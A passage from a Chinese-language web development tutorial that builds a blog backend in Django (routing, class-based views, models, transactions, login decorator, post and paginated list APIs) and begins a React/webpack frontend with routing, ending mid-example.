    2. Add a URL to urlpatterns:  path('blog/', include('blog.urls'))
"""
from django.contrib import admin
from django.urls import path, include
from django.http import HttpResponse, HttpRequest, JsonResponse
from django.template.loader import get_template
from django.shortcuts import render
from datetime import datetime

def index(request:HttpRequest):

    context = {
        'a':100,
        'b':0,
        'c':list(range(10,20)),
        'd':dict(zip('abcde','ABCDE')), # d.e 没找到 d['e'] 没找到 d[e]
        's':'abcde',
        'date':datetime.now(),
    }
    # with open(r'D:\project\pyprojs\trae\blog10\user\index.html', encoding='utf-8') as f:
    #     txt = f.read()
    #     txt = txt.format(content)
    return render(request, 'index.html', {'mydict':context}, status=201)

def test(request, clz, uid):
    print('='*30)
    # print(request.path)
    print(clz, uid, type(clz), type(uid))
    print('='*30)
    return HttpResponse('abc~~~~')

urlpatterns = [
    path('admin/', admin.site.urls),
    path('', index), # '/' => index函数
    path('index/', index), # '/index' 301 '/index/'; '/index/' OK
    path('test/<clz>/<int:uid>', test), # /test/tom/2 实参注入
    path('users/', include('user.urls')),  # /users
    path('posts/', include('post.urls')),  # /posts
]

2.新建post/urls.py文件

from django.urls import path
from .views import PostView, getpost

#path('path', 函数或三元组)
#as_view当做视图函数,在内部一定要 根据method判断找到对同名处理方法
urlpatterns = [
    path('', PostView.as_view()), # /posts/ POST GET 博文的增加、查询
    path('<int:id>', getpost), # /posts/123
]

3.修改post/views.py文件

 from django.http import HttpResponse, JsonResponse,  HttpRequest
from django.views import View


class PostView(View):
    def get(self, request): # 方法名一定要小写
        return JsonResponse({'method':'get'})
    def post(self, request): # 如果没有post函数,POST请求无法对应,返回405
        return JsonResponse({'method':'post'})

def getpost(request:HttpRequest, id:int):
    print(type(id), id)
    return JsonResponse({})

测试

curl --location --request POST '127.0.0.1:8000/posts/'
#返回
{"method": "post"}

curl --location '127.0.0.1:8000/posts/'
#返回
{"method": "get"}

模型

1.修改post/models.py文件

from django.db import models
from django.contrib.auth.models import User

class Post(models.Model): #id, title, postdata, author
    class Meta:
        db_table = 'post'
    id = models.BigAutoField(primary_key=True)
    title = models.CharField(max_length=256, null=False, unique=False)
    postdate = models.DateTimeField(null=False)
    author = models.ForeignKey(User, on_delete=models.PROTECT, ) # 关联的属性author, 字段名author_id
    # self.content 可以访问Content实例,其内容是self.content.content

    def __repr__(self):
        return "<Post: {} {} {}>".format(self.id, self.title, self.postdate)

    __str__ = __repr__

class Content(models.Model): # id 主键 外键, content
    class Meta:
        db_table = 'content'

    # 一对一,这边会有一个外键post_id引用post.id
    post = models.OneToOneField(Post, on_delete=models.PROTECT, primary_key=True) # post_id
    # 字段名为 post_id 且是主键
    # 如果没有主键,会自动创建一个处境id主键,如果加上db_column='id', 迁移生成的字段就是id了
    content = models.TextField(null=True)

    def __repr__(self):
        return "<Content: {} {}>".format(self.pk, self.content[:20])

    __str__ = __repr__

on_delete

  1. models.CASCADE: 级联删除。Django在DELETE级联上模拟SOL约束的行为,并删除包含外键的对象。
  2. models.PROTECT: 通过引发ProtectedError (django.db.IntegrityError的子类)防止删除引用的对象。
  3. models.SET_NULL: 设置外键为空;这只有在null为真时才有可能。
  4. models.SET_DEFAULT: 将外键设置为其默认值;必须为外键设置默认值。
  5. models.DO_NOTHING: 不采取任何行动。如果数据库后端强制执行引用完整性,这将导致IntegrityError,除非手动向数据库字段添加一个SOL ON DELETE约束。
  6. 在Django2.0开始,on_delete必须提供,参考https://docs.djangoproject.com/en/5.2/ref/models/fields/#django.db.models.ForeignKey.on_delete
#删除自己创建的表post, content. 生成新的表

#准备迁移表
(.venv) PS D:\project\pyprojs\trae\blog10> python manage.py makemigrations
Migrations for 'post':
  post\migrations\0001_initial.py
    + Create model Post
    + Create model Content


#迁移
(.venv) PS D:\project\pyprojs\trae\blog10> python manage.py migrate       
Operations to perform:
  Apply all migrations: admin, auth, contenttypes, post, sessions
Running migrations:
  Applying post.0001_initial... OK

CREATE TABLE `blog2`.`post`  (
  `id` bigint(0) NOT NULL AUTO_INCREMENT,
  `title` varchar(256) CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NOT NULL,
  `postdate` datetime(6) NOT NULL,
  `author_id` int(0) NOT NULL,
  PRIMARY KEY (`id`) USING BTREE,
  INDEX `post_author_id_2343ddae_fk_auth_user_id`(`author_id`) USING BTREE,
  CONSTRAINT `post_author_id_2343ddae_fk_auth_user_id` FOREIGN KEY (`author_id`) REFERENCES `blog2`.`auth_user` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT
) ENGINE = InnoDB AUTO_INCREMENT = 1 CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;

CREATE TABLE `blog2`.`content`  (
  `post_id` bigint(0) NOT NULL,
  `content` longtext CHARACTER SET utf8mb4 COLLATE utf8mb4_0900_ai_ci NULL,
  PRIMARY KEY (`post_id`) USING BTREE,
  CONSTRAINT `content_post_id_c6de7cfd_fk_post_id` FOREIGN KEY (`post_id`) REFERENCES `blog2`.`post` (`id`) ON DELETE RESTRICT ON UPDATE RESTRICT
) ENGINE = InnoDB CHARACTER SET = utf8mb4 COLLATE = utf8mb4_0900_ai_ci ROW_FORMAT = Dynamic;

模型操作

支持事务:https://docs.djangoproject.com/en/5.2/topics/db/transactions/#controlling-transactions-explicitly

测试,项目根目录下创建 t.py文件

#t.py 测试增删改, 多表关联
import os
import django
from django.core.wsgi import get_wsgi_application

os.environ.setdefault('DJANGO_SETTINGS_MODULE', 'blog.settings')
django.setup()

import datetime
from post.models import Post, Content
# ps = Post.objects.all()
# print(ps)
# 增删改
# post对象,如果没有指定id,save一定是新增
# 如果post对象指定了id,数据库中没有对应的记录就是新增;如果有id,对应数据库记录就是修改
from django.db.transaction import atomic

try: # 修改,存在的持久化了的数据进行修改,先查后修改
    post = Post.objects.filter(pk='5').first()
    if post:
        print(post, post.pk, post.id)
        # 更新
        # post.author_id = 2
        # post.save()
        # 删除
        with atomic(): # 事务
            # print(post.content.content)
            post.content.delete() # 删除从表content记录
            post.delete()
except Exception as e:
    print(e)

# try: # 批量更新,非常危险
#     ret = Post.objects.filter(id__gt=3).update(author=1)
#     print(ret)
# except Exception as e:
#     print(e)

# try: # 批量删除,非常危险
#     ret = Post.objects.filter(id__gt=3).delete()
#     print(ret)
# except Exception as e:
#     print(e)

# post = Post()
# try: # 新增
#     # post.id = 100 # insert_into 要不要指定id,由于是新增且字段是自增,所以可以不指定
#     post.title = 't6'
#     post.postdata = datetime.datetime.now(
#         datetime.timezone(datetime.timedelta(hours=8))
#     )
#     # 作者怎么办?
#     # post.author = 1 # Cannot assign "1": "Post.author" must be a "User" instance.
#     post.author_id = 1
#     # 内容怎么办,可以不写内容吗? 可以
#     c = Content()
#     c.content = '内容6'
#     with atomic():
#         post.save() # 持久化,成功提交,失败回滚
#         # c.post_id = post.id #也可以使用 c.post = post 自动完成id匹配
#         c.post = post
#         1/0
#         c.save()
#     print(post.pk)
# except Exception as e:
#     print(e)
#     print('=' * 30)
#     print(post.pk)

post视图函数

# post/views.py
from django.http import HttpResponse, JsonResponse
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages

class PostView(View):
    def get(self, request): # 方法名一定要小写
        return JsonResponse({'method':'get'})
    # 必须登录
    def post(self, request): # 如果没有post函数,POST请求无法对应,返回405
        try:
            payload = simplejson.loads(request.body)
            title = payload['title']
            C = payload['content']
            post = Post(title=title)
            content = Content()

            post.postdate = datetime.datetime.now(
                datetime.timezone(datetime.timedelta(hours=8))
            )
            # post.author_id = 2 #request.user.id
            post.author = request.user
            content.content = C

            with atomic():
                post.save()
                content.post  = post
                content.save()


            return JsonResponse({'post':{
                'id':post.id
            }})
        except Exception as e:
            return JsonResponse(Messages.BAD_REQUEST)
# postman 先登录获得cookie
curl --location '127.0.0.1:8000/users/login' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionid=7hsr74c0kyea9zynk1gbjxm3qdb8jvhl' \
--data-raw '{
    "username":"abc",
    "password":"abc",
    "email":"[email protected]"
}
'

# postman 提交文章信息
curl --location '127.0.0.1:8000/posts/' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionid=7hsr74c0kyea9zynk1gbjxm3qdb8jvhl' \
--data '{
    "title":"t200",
    "content":"nr200"
}'

视图分类

  1. function-based view 视图函数:视图功能有函数实现
  2. class-based view 视图类:视图功能有基于django.views.View类的子类实现

django.views.View类原理

  • django.views.View类本质就是一个对请求方法分发到与请求方法同名函数的调度器。
  • django.views.View类,定义了http的方法的小写名称列表,这些小写名称其实就是处理请求的方法名的小写。
  • as_views()方法就是返回一个内建的view(request,*args,**kwargs)函数,本质上其实还是url映射到了函数上,只不过view函数内部会调用dispatch(request,*args,**kwargs)分发函数。
  • dispatch函数中使用request对象的请求方法小写和http_method_names中允许的HTTP方法匹配,匹配说明是正确的HTTP请求方法,然后尝试再View子类中找该方法,调用后返回结果。找不到该名称方法,就执行http_method_not_allowed方法返回405状态码
    • 看到了getattr等反射函数,说明基于反射实现的。
  • as_view()方法,用在url映射配置中
    1. 本质上,as_view()方法还是把一个类伪装成了一个视图函数。
    2. 这个视图函数,内部使用了一个分发函数,使用请求方法名称吧请求分发给存在的同名函数处理。

认证装饰器进阶

Django提供的内建的视图用的装饰器,个人认为并不好用,它能很好的适合视图函数,但是不能直接用在视图类的方法上,归根结底就是View类中方法self的问题。

# 修改post/urls.py文件
from django.urls import path
from .views import PostView, getpost
from user.views import login_required

#path('path', 函数或三元组)
#as_view当做视图函数,在内部一定要 根据method判断找到对同名处理方法
urlpatterns = [
    path('', login_required(PostView.as_view())), # /posts/ POST GET 博文的增加、查询
    path('<int:id>', getpost), # /post/123
]

但是上面这种方式适合把PostView类所有方法都认证,但是实际上就ipost方法要认证。所以authenticate还是需要加载到post方法上去。因此,要修改login_required函数。

前面自己实现的login_required装饰器,默认对所有请求不论什么方法都要认证,但是在View中要对部分方法不要认证,这就是要例外。为了和前面保持兼容,但是又要提供新的排除参数,就必须采用一些代码技巧实现。

# user/views.py
...
def login_required(exclude_methods):
    def _login_required(viewfunc):
        # 参照django.contrib.auth.decorators.login_required
        @wraps(viewfunc)
        def wrapper(request, *args, **kwars):
            method = request.method.lower()
            if method in exclude_methods:
                return viewfunc(request, *args, **kwars)
            else:
                if request.user.is_authenticated:
                    print('认证了')
                    return viewfunc(request, *args, **kwars)
                print('未认证通过')
                return HttpResponse(status=401)
        return wrapper
    if callable(exclude_methods): # 兼容之前调用,如果是无参调用就是函数,帮它往里面调用一层返回
        fn = exclude_methods
        exclude_methods = () # 表示没什么方法method要排除,都要认证
        return _login_required(fn)
    return _login_required
...
# post/urls.py
from django.urls import path
from .views import PostView, getpost
from user.views import login_required

urlpatterns = [
    path('', login_required(['get'])(PostView.as_view())), # 排除get方法,get方法不认证
    path('<int:id>', getpost), # /posts/123
]
# post/views.py
from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages

class PostView(View):
    def get(self, request): # 方法名一定要小写
        return JsonResponse({'method':'get'})
    # 必须登录
    def post(self, request): # 如果没有post函数,POST请求无法对应,返回405
        try:
            payload = simplejson.loads(request.body)
            title = payload['title']
            C = payload['content']
            post = Post(title=title)
            content = Content()

            post.postdate = datetime.datetime.now(
                datetime.timezone(datetime.timedelta(hours=8))
            )
            # post.author_id = 2 #request.user.id
            post.author = request.user
            content.content = C

            with atomic():
                post.save()
                content.post  = post
                content.save()
            return JsonResponse({'post':{
                'id':post.id
            }})
        except Exception as e:
            return JsonResponse(Messages.BAD_REQUEST)

def getpost(request:HttpRequest, id:int):
    print(type(id), id)
    return JsonResponse({})

发布接口实现

request(POST {title, content}) -> [login_required] view -> response({new id})

浏览器端采用POST方法提交数据到服务器端,服务器端成功认证用户身份后交给view函数处理,返回给用户新增的id。

认证失败后,返回状态码401,浏览器端代码收到这个状态码会会跳转到登录页。

# post/views.py
from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages

class PostView(View):
    def get(self, request): # 方法名一定要小写. 文章列表
        return JsonResponse({'method':'get'})
    # 必须登录
    def post(self, request): # 如果没有post函数,POST请求无法对应,返回405。 发布
        try:
            payload = simplejson.loads(request.body)
            title = payload['title']
            C = payload['content']
            post = Post(title=title)
            content = Content()

            post.postdate = datetime.datetime.now(
                datetime.timezone(datetime.timedelta(hours=8))
            )
            # post.author_id = 2 #request.user.id
            post.author = request.user
            content.content = C

            with atomic():
                post.save()
                content.post  = post
                content.save()
            return JsonResponse({'post':{
                'id':post.id
            }})
        except Exception as e:
            return JsonResponse(Messages.BAD_REQUEST)

def getpost(request:HttpRequest, id:int):
    print(type(id), id)
    return JsonResponse({})

测试时,先登录拿到session,再提交博文

#使用postman工具操作。先登录,再提交博文
curl --location 'http://127.0.0.1:8000/users/login' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionid=wh0l46w101gre1z9ytoo6vjyvzfr4z6h' \
--data '{
    "password":"abc",
    "username":"abc"
}
'
curl --location 'http://127.0.0.1:8000/posts/' \
--header 'Content-Type: application/json' \
--header 'Cookie: sessionid=wh0l46w101gre1z9ytoo6vjyvzfr4z6h' \
--data '{
    "title":"t200",
    "content":"nr200"

}'

文章接口实现

  • 根据post_id查询博文并返回。
  • 如果博文只能作者看到,就需要认证,本次是公开,即所有人都能看到,所以不需要认证。
# post/views.py
...
def getpost(request:HttpRequest, id:int):
    try:
        post = Post.objects.get(pk=id)
        return JsonResponse({'post':{
            'id':post.pk,
            'title':post.title,
            # "2025-07-28T09:24:40.104Z"
            'postdate':post.postdate, # UTC字符串
            'author_id':post.author_id,
            'author':post.author.username,
            'content':post.content.content
        }})
    except Exception as e:
        print(e)
        return JsonResponse(Messages.NOT_FOUND)   

登录之后发起请求

curl --location 'http://127.0.0.1:8000/posts/1' \
--header 'Cookie: sessionid=wh0l46w101gre1z9ytoo6vjyvzfr4z6h'

时间问题

在Django中存入时间建议使用时区,否则会用警告,它存入的是UTC时间,可以简单认为这个时间是零时区(中时区)的GMT(格林威治时间)。

中国是UTC+8。由于在Django中设置了这个中国时区,所以,Django的内建模块使用时,使用了时区,所以时间是对的。

那么,时间数据送到浏览器端应该是什么呢?

从数据库拿出来送到浏览器端的还是0时区的时间,即使是时间戳。所以有2种方案送给前端:

  1. 时间戳
  2. 时间字符串

上面2种方案都是用了数据库字段的值,都是GMT,所以我们要转换时区。

JS的时间戳要乘以1000。它的时间戳不是秒,是毫秒。

还有就是使用现成的JS模块moment.js。

npm install moment
npm install moment-timezone

测试

const moment = require('moment');
const mtz = require('moment-timezone');

ts = "2025-07-28T09:24:40.104Z";
var t1 = moment(ts);
console.log(t1);
console.log(t1.format('YYYYMMDD HH:mm:ss'));

var t2 = mtz(ts)
console.log(t2);
console.log(t2.tz('Asia/Shanghai').format('YYYYMMDD HH:mm:ss'));

// 返回结果
// Moment<2025-07-28T17:24:40+08:00>
// 20250728 17:24:40
// Moment<2025-07-28T17:24:40+08:00>
// 20250728 17:24:40

所以前端能很好的解决掉这个问题,我们放心输出时间字符串。

列表页接口实现

request(GET ?page=5&size=20) -> view -> response(json [posts]})

发起GET请求,通过查询字符串http://url/posts/?page2 查询第二页数据,找到视图函数处理,返回Json数组。

GET /posts/?page=3&size=20 文章列表,视图类PostView

响应
200 成功返回文章列表
# post/views.py
from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages

class PostView(View):
    def get(self, request): # 方法名一定要小写 文章列表 /posts/?page=3&size=20
        try:
            posts = Post.objects.order_by('-pk') # 全表扫描,要解决分页问题

            return JsonResponse({'posts':[
                {'id':post.id, 'title':post.title}
                for post in posts
            ]})
        except Exception as e:
            print(e)
            return JsonResponse(Messages.BAD_REQUEST)
...

完善分页

分页信息,一般有:当前页/总页数、每页条数,记录总数。

  • 当前页:page
  • 每页条数:size ,每页最多多少行
  • 总页数:pages = math.ceil(count/size)
  • 记录总数:total,从select * from table来
# post/views.py
from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages

class PostView(View):
    def get(self, request): # 方法名一定要小写 文章列表 /posts/?page=3&size=20
        try:
            try: # 有任何异常page给默认值
                page = int(request.GET.get('page', 1)) # 缺省值1
                #/posts/?page=300000000&size=20000000 解决是否超界问题
                page = page if page > 0 and page <51 else 1
            except:
                page = 1
            try:
                size = int(request.GET.get('size', 20))
                size = size if size > 0 and size < 101 else 20
            except:
                size = 20
            print(page, size)

            # 切片
            start = size*(page-1) # 如果第1天 size*(1-1)
            posts = Post.objects.order_by('-pk')[start:start+size] # 全表扫描,要解决分页问题

            return JsonResponse({'posts':[
                {'id':post.id, 'title':post.title}
                for post in posts
            ]})
        except Exception as e:
            print(e)
            return JsonResponse(Messages.BAD_REQUEST)

也可以使用Django提供的Paginator类来完成。

Paginator文档https://docs.djangoproject.com/en/5.2/topics/pagination/

但是,还是自己更加简单明了些。

改写校验函数

修改post/views.py文件

from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages
import math

def validate(d:dict,name:str,default,type_func,validate_func):
    try:
        ret = type_func(d.get(name,default))
        ret = validate_func(ret,default)
    except:
        ret = default
    return ret

class PostView(View):
    def get(self, request): # 方法名一定要小写 文章列表 /posts/?page=3&size=20
        # 页码  
        page = validate(request.GET,"page", 1, int, lambda x,y:x if x>0 and x <51 else y)
        # 每页条数
        #注意,这个数据不要轻易让浏览器端改变,如果允许改变,一定要控制范围
        size = validate(request.GET,"size", 20, int, lambda x,y:x if x>0 and x<101 else y)
        print(page, size)

        try:
            # 分页
            start = size*(page-1) # 如果第1天 size*(1-1)
            mgr = Post.objects
            total = mgr.count()
            posts = mgr.order_by('-pk')[start:start+size]

            return JsonResponse({
                'posts':[{'id':post.id, 'title':post.title} for post in posts],
                'pagination':{
                    'page':page,
                    'size':size,
                    'total':total, # 总共有多少个
                    'pages':math.ceil(total / size) # 总共有多少页 向上取整
                }
            })
        except Exception as e:
            print(e)
            return JsonResponse(Messages.BAD_REQUEST)

测试

curl --location 'http://127.0.0.1:8000/posts/?page=3&size=1' \
--header 'Cookie: sessionid=wh0l46w101gre1z9ytoo6vjyvzfr4z6h'

完整post/views.py文件

from django.http import HttpResponse, JsonResponse, HttpRequest
from django.views import View
import simplejson
from .models import Post, Content
import datetime
from django.db.transaction import atomic
from messages import Messages
import math

def validate(d:dict,name:str,default,type_func,validate_func):
    try:
        ret = type_func(d.get(name,default))
        ret = validate_func(ret,default)
    except:
        ret = default
    return ret

class PostView(View):
    def get(self, request): # 方法名一定要小写 文章列表 /posts/?page=3&size=20
        # 页码  
        page = validate(request.GET,"page", 1, int, lambda x,y:x if x>0 and x <51 else y)
        # 每页条数
        #注意,这个数据不要轻易让浏览器端改变,如果允许改变,一定要控制范围
        size = validate(request.GET,"size", 20, int, lambda x,y:x if x>0 and x<101 else y)
        print(page, size)

        try:
            # 分页
            start = size*(page-1) # 如果第1天 size*(1-1)
            mgr = Post.objects
            total = mgr.count()
            posts = mgr.order_by('-pk')[start:start+size]

            return JsonResponse({
                'posts':[{'id':post.id, 'title':post.title} for post in posts],
                'pagination':{
                    'page':page,
                    'size':size,
                    'total':total, # 总共有多少个
                    'pages':math.ceil(total / size) # 总共有多少页 向上取整
                }
            })
        except Exception as e:
            print(e)
            return JsonResponse(Messages.BAD_REQUEST)

    # 必须登录
    def post(self, request): # 如果没有post函数,POST请求无法对应,返回405
        try:
            payload = simplejson.loads(request.body)
            title = payload['title']
            C = payload['content']
            post = Post(title=title)
            content = Content()

            post.postdate = datetime.datetime.now(
                datetime.timezone(datetime.timedelta(hours=8))
            )
            # post.author_id = 2 #request.user.id
            post.author = request.user
            content.content = C

            with atomic():
                post.save()
                content.post  = post
                content.save()


            return JsonResponse({'post':{
                'id':post.id
            }})
        except Exception as e:
            return JsonResponse(Messages.BAD_REQUEST)

def getpost(request:HttpRequest, id:int):
    try:
        post = Post.objects.get(pk=id)
        return JsonResponse({'post':{
            'id':post.pk,
            'title':post.title,
            # "2025-07-28T09:24:40.104Z"
            'postdate':post.postdate, # UTC字符串
            'author_id':post.author_id,
            'author':post.author.username,
            'content':post.content.content
        }})
    except Exception as e:
        print(e)
        return JsonResponse(Messages.NOT_FOUND)   

前端开发-登录功能实现

开发环境设置

使用脚手架,解压。在src中新增component、service、css目录。

注意:没有特别说明,js开发都在src目录下

目录结构

frontend/
    │-.babelrc
    │-.gitignore #git的忽略文件
    │-.npmrc    #npm的服务器配置,本次使用的是阿里
    │-index.html #dev server使用的首页
    │-jsconfig.json
    │-LICENSE
    │-package-lock.json
    │-package.json  #项目的根目录安装文件,使用npm install可以构建项目
    │-README.md
    │-webpack.config.dev.js #开发用的配置文件
    │-webpack.config.prod.js #生产环境,打包用的配置文件
    └─src/
        │- component/ #自己组件文件夹
        │- service/  #服务程序
        │- css/  #样式表
        │- index.html #模板页面
        │- index.js

1.修改项目信息 package.json 文件

{
    "name":"blog",
    "description":"blog project",
    "author":"abc"
}

2.修改webpack.config.dev.js

devServer: {
        compress: true, /* gzip */
        //host:'192.168.61.109', /* 设置ip */
        port: 3000,
        publicPath: '/assets/', /* 设置bundled files浏览器端访问地址 */
        hot: true,  /* 开启HMR热模块替换 */
        inline: true, /* 控制浏览器控制台是否显示信息 */
        historyApiFallback: true,
        stats: {
            chunks: false
        },
        proxy: { //代理
            '/api': {
                target: 'http://127.0.0.1:8000',
                pathRewrite: {"^/api" : ""},
                changeOrigin: true
            }
        }
    }

3.安装依赖 npm install

  • npm会按照package.json中依赖的包。也可以使用新的包管理工具yarn安装模块
  • 使用yarn替换npm安装,速度会更快写,yarn是并行安装,npm是串行安装。

https://yarn.bootcss.com/docs/install/ https://www.npmjs.com/search?q=yarn

#yarn安装
npm install -g yarn

yarn #相当于npm install

#如果想自己构建脚手架,可以使用如下命令
$npm install  #构建脚手架

#相当于npm install react-router #添加react-router组件
yarn add react-router # 安装路由,即项目前端web路由
yarn add react-router-dom #

#报错解决
npm install --save-dev @types/react-router-dom@latest

4.相关命令

npm命令 Yarn命令 解释
npm install yarn install 安装
npm install [package] --save yarn add [package] 安装运行时依赖
npm install [package] --save-dev yarn add [package] --dev 安装开发时依赖
npm install [package] --global yarn global add [package] 全局安装
npm uninstall [package] yarn remove [package] 卸载

完整的文件

webpack

https://webpack.js.org/awesome-webpack/#react

frontend/
    │-.babelrc
    │-.gitignore #git的忽略文件
    │-.npmrc    #npm的服务器配置,本次使用的是阿里
    │-index.html #dev server使用的首页
    │-jsconfig.json
    │-LICENSE
    │-package-lock.json
    │-package.json  #项目的根目录安装文件,使用npm install可以构建项目
    │-README.md
    │-webpack.config.dev.js #开发用的配置文件
    │-webpack.config.prod.js #生产环境,打包用的配置文件
    └─src/
        │- index.html #模板页面
        │- index.js

.babelrc

{
  "presets": [
    "react",
    "env",
    "stage-0"
  ],
  "plugins": [
    "transform-decorators-legacy",
    "transform-runtime",
    // "react-hot-loader/babel",
    ["import", {
      "libraryName": "antd",
      "libraryDirectory": "es",
      "style": true // `style: true` 会加载 less 文件
    }]
  ]
}

.gitignore

  • git的忽略文件

.npmrc

  • npm的服务器配置,本次使用的是阿里
registry=https://registry.npmmirror.com

index.html #dev server使用的首页

<!DOCTYPE html>
<html lang="en">
<head>
    <meta charset="UTF-8">
    <title>项目</title>
</head>
<body>
<h1>项目</h1>
<hr>
<div id="root"></div>
<script src="/assets/bundle.js"></script>
</body>
</html>

jsconfig.json

{
    "compilerOptions": {
        "target": "ES6",
        "module": "commonjs",
        "experimentalDecorators": true
    }
}

LICENSE

The MIT License (MIT)

Copyright (c) 2025 jasper

Permission is hereby granted, free of charge, to any person obtaining a copy of
this software and associated documentation files (the "Software"), to deal in
the Software without restriction, including without limitation the rights to
use, copy, modify, merge, publish, distribute, sublicense, and/or sell copies of
the Software, and to permit persons to whom the Software is furnished to do so,
subject to the following conditions:

The above copyright notice and this permission notice shall be included in all
copies or substantial portions of the Software.

THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR
IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, FITNESS
FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE AUTHORS OR
COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER LIABILITY, WHETHER
IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, OUT OF OR IN
CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN THE SOFTWARE.

package-lock.json

package.json

  • 项目的根目录安装文件,使用npm install可以构建项目
{
  "name": "blog",
  "version": "1.0.0",
  "description": "blog project",
  "main": "index.js",
  "scripts": {
    "test": "jest",
    "start": "webpack-dev-server --config webpack.config.dev.js --hot --inline --open",
    "build": "rimraf dist && webpack -p --config webpack.config.prod.js"
  },
  "repository": {},
  "author": "abc",
  "license": "MIT",
  "devDependencies": {
    "babel-core": "^6.24.1",
    "babel-jest": "^19.0.0",
    "babel-loader": "^6.4.1",
    "babel-plugin-import": "^1.13.8",
    "babel-plugin-transform-decorators-legacy": "^1.3.4",
    "babel-plugin-transform-runtime": "^6.23.0",
    "babel-preset-env": "^1.4.0",
    "babel-preset-react": "^6.24.1",
    "babel-preset-stage-0": "^6.24.1",
    "css-loader": "^0.28.0",
    "html-webpack-plugin": "^2.28.0",
    "jest": "^19.0.2",
    "less": "^2.7.2",
    "less-loader": "^4.0.3",
    "react-hot-loader": "^4.3.12",
    "source-map": "^0.5.6",
    "source-map-loader": "^0.2.1",
    "style-loader": "^0.16.1",
    "uglify-js": "^2.8.22",
    "webpack": "^2.4.2",
    "webpack-dev-server": "^2.4.2"
  },
  "dependencies": {
    "antd": "^3.10.9",
    "axios": "^0.16.1",
    "babel-polyfill": "^6.23.0",
    "babel-runtime": "^6.23.0",
    "braft-editor": "^2.3.9",
    "js-cookie": "^2.2.1",
    "mobx": "^4.6.0",
    "mobx-react": "^5.4.2",
    "moment-timezone": "^0.6.0",
    "react": "^16.6.3",
    "react-dom": "^16.6.3",
    "react-router-dom": "^5.3.3"
  }
}

README.md

webpack.config.dev.js

  • 开发用的配置文件
const path = require('path');
const webpack = require('webpack');

module.exports = {
    devtool: 'source-map',
    entry: {
        'app': [
            'react-hot-loader/patch',
            './src/index'
        ]
    },
    output: {
        path: path.join(__dirname, 'dist'),
        filename: 'bundle.js',
        publicPath: '/assets/'
    },
    resolve: {
        extensions: ['.js']
    },
    module: {
        rules: [
            {
                test: /\.js$/,
                exclude: /node_modules/,
                use: [
                    { loader: 'react-hot-loader/webpack' },
                    { loader: 'babel-loader' }
                ]
            },
            {
                test: /\.css$/,
                use: [
                    { loader: "style-loader" },
                    { loader: "css-loader" },
                ]
             }, 
            {
                test: /\.less$/,
                use: [
                    { loader: "style-loader" },
                    { loader: "css-loader" },
                    { loader: "less-loader" }
                ]
            }
        ]
    },
    plugins: [
        new webpack.optimize.OccurrenceOrderPlugin(true),
        new webpack.HotModuleReplacementPlugin(),
        new webpack.DefinePlugin({'process.env': {NODE_ENV: JSON.stringify('development')}})
    ],
    devServer: {
        compress: true,
        port: 3000,
        publicPath: '/assets/',
        hot: true,
        inline: true,
        historyApiFallback: true,
        stats: {
            chunks: false
        },
        proxy: {
            '/api': {
                target: 'http://127.0.0.1:8000',
                changeOrigin: true,
                pathRewrite: { '^/api': '' }
            }
        }
    }
};

webpack.config.prod.js

  • 生产环境,打包用的配置文件
const path = require('path');
const webpack = require('webpack');
const HtmlWebpackPlugin = require('html-webpack-plugin');

module.exports = {
    devtool: 'source-map',
    entry: {
        'app': [
            './src/index'
        ]
    },
    output: {
        path: path.join(__dirname, 'dist'),
        filename: '[name]-[hash:8].js',
        publicPath: '/assets/'
    },
    resolve: {
        extensions: ['.js']
    },
    module: {
        rules: [
            {
                test: /\.js$/,
                exclude: /node_modules/, // 不编译第三方包
                use: [
                    { loader: 'react-hot-loader/webpack' },
                    { loader: 'babel-loader' }
                ]
            },
            {
                test: /\.css$/,
                use: [
                    { loader: "style-loader" },
                    { loader: "css-loader" },
                ]
             }, 
            {
                test: /\.less$/,
                use: [
                    { loader: "style-loader" },
                    { loader: "css-loader" },
                    { loader: "less-loader" }
                ]
            }
        ]
    },
    plugins: [
        new webpack.optimize.OccurrenceOrderPlugin(true),
        new webpack.DefinePlugin({ 'process.env': { NODE_ENV: JSON.stringify('production') } }),
        new webpack.optimize.UglifyJsPlugin({
            compress: {
                warnings: false
            },
            sourceMap: true
        }),
        new HtmlWebpackPlugin({
            template: 'src/index.html',
            inject: true
        })
    ]
};

开发

前端路由

// src/index.js
import React from 'react';
import { render } from 'react-dom';

const App = props => <div>测试</div>

render(<App />, document.getElementById('root'));
#npm run start
yarn run start
# 浏览器打开 IP:3000 看看效果
#npm install react-router-dom   #在package.json已经指定安装
import React from 'react';
import { render } from 'react-dom';
import {
  BrowserRouter as Router,
  Switch,
  Route,
  Link
} from "react-router-dom";

function Home() {
  return <h2>Home</h2>;
}

function About() {
  return <h2>About</h2>;
}

function Default() {
  return <h2>缺省显示</h2>;
}

function Always() {
  return <h2><hr />页脚</h2>;
}

class App extends React.Component {
  // exact 精确匹配
  render() {
    return <Router>
      <div>
        <Switch>
          <Route exact path={["/", '/index']} component={Home}></Route>
          <Route strict path="/about" component={About}></Route>
          <Route component={Default}></Route>
        </Switch>
        <Route component={Always}></Route>
      </div>
